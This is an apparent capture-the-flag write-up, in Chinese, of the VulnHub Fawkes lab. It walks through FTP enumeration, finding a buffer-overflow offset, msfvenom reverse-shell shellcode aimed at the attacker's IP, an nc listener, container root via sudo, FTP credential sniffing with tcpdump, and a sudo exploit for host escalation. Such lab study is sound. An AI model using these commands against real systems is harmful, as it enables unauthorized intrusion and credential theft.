vuln-Fawks打靶
环境
靶场来自 https://www.vulnhub.com/entry/harrypotter-fawkes,686/
攻击机:kali 192.168.31.118 靶机:192.168.31.132
信息收集
对靶机进行信息收集
用nmap -A扫描后发现2222也是ssh端口,9898端口无法访问
先扫描一下路径,什么都没有
回到21端口发现存在匿名用户登录
ftp匿名登录
发现一个 文件,下载下来看看
用cat查看是乱码,用file看看是个什么东西
缓存区溢出
缓存区溢出漏洞
缓冲区溢出(buffer overflow),是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。
而缓存区溢出漏洞最重要的就是找出缓存区溢出的位置,这里我们使用edb-debugger调试工具来动态测试server_hogwarts进程并找出缓存区溢出漏洞的溢出位置
发现是一个elf可执行文件,给一个执行权限执行看看,没有回显
看看进程,到底是个啥东西
1 | ps -aux | grep server |
发现在本地的9898端口起了一个服务,和最开始nmap扫描出的9898端口一致,暂时不知道用处,监听看看
输入都无效,到这里思路已经没了,去网上看了公开的wp ,打死没想到这里是缓冲区溢出。。。知识盲点
edb-debugger调试
edb-debugger是一个跨平台的 AArch32 / x86 / x86-64 调试器
关闭防护
我们是通过ftp服务下载server_hogwarts到本地来调试,目的就是找出它的缓存溢出位置,但是kali本机存在ALSR安全技术,地址空间随机化,会造成内存地址的随机化,导致我们无法确定缓冲区溢出的位置。所以要关闭。
cd到**/proc/sys/kernel目录下把randomize_va_space改成0**即可
安装edb-debugger
1 | apt-get update |
等跑完选确定
开始调试
前面的端口不要断,打开edb,直接在控制台输入edb
选中刚刚的进程,点击确定
再点击运行,就可以开始调试了
确认漏洞
因为我们要来调试缓存区溢出,先构造一些数据,用Python来构造一些脏数据
1 | python3 -c "print('asd'*500)" |
粘贴到输入框,发现报错
已经调试到了错误位置,即确实存在代码溢出漏洞
寻找溢出位置
确认了存在缓存区溢出,就需要找到溢出位置,这里不能生成一样的数据,因为需要通过报错来判断溢出位置
1 | msf-pattern_create -l 500 |
重启edb,重复上面的操作,然后将生成的随机字符丢进去
此时的报错提示我们0×64413764内存位置有问题,那这个位置很有可能就是想找的溢出位置,我们来找一下这个内存位置在输入区的位置
查询溢出位置
1 | msf-pattern_offset -l 500 -q 64413764 |
可以看到偏移量为112,所以64413764就是在113个位置
看别的师傅公开的wp后面的内容真看不懂,直接跳过生成payload
构造payload
这个生成的payload就是我们用来放进ESP并执行的反弹shell代码,但注意这里需要16进制的payload
1 | msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.31.118 LPORT=4444 -b "\x00" -f python |
根据这个payload写一个exp
1 | import sys,socket |
这里connect连接的是靶机的9898端口
反弹shell
用nc监听本地4444端口,也就是一开始msf生成的payload端口再执行exp
1 | nc -lnvp 4444 |
收到shell
反弹一个半交互式shell,发现没python用bash
1 | /bin/sh -i |
发现一个隐藏文件,发现一串字符串
提权
容器提权
目录下这个文件没有执行权,不知道是什么东西
用刚刚的字符串尝试一下ssh,发现密码错误,但是2222端口还有一个ssh,继续尝试,发现成功登录
1 | harry HarrYp0tter@Hogwarts123 |
发现这个名字,似乎是一个编号,查看ip和我们最开始访问的192.168.31.132不同,似乎是docker容器
判断是否为docker环境,进一步确认
1 | ls -alh /.dockerenv #查看是否存dockerrnv文件 |
继续信息收集,suid和sudo
发现sudo -l 为all,可以直接执行sudo -s拿到root权限
发现flag和一串提示,意思是有人登录ftp,让我们分析流量
用tcpdump去分析
1 | tcpdump -i eth0 port 21 |
发现一个账号密码
1 | 账号:neville |
宿主机提权
尝试登录ssh,22端口应该是宿主机的ssh端口,2222是容器的端口被映射出来
这里ip正确,是宿主机
找到第二个flag
提全三板斧,suid sudo 内核均无果,看了wp发现是sudo存在漏洞可以提权
找到exp,靶机出网就wget,不出网直接复制下来替换sudo路径
执行exp
参考来自:这位师傅的wp链接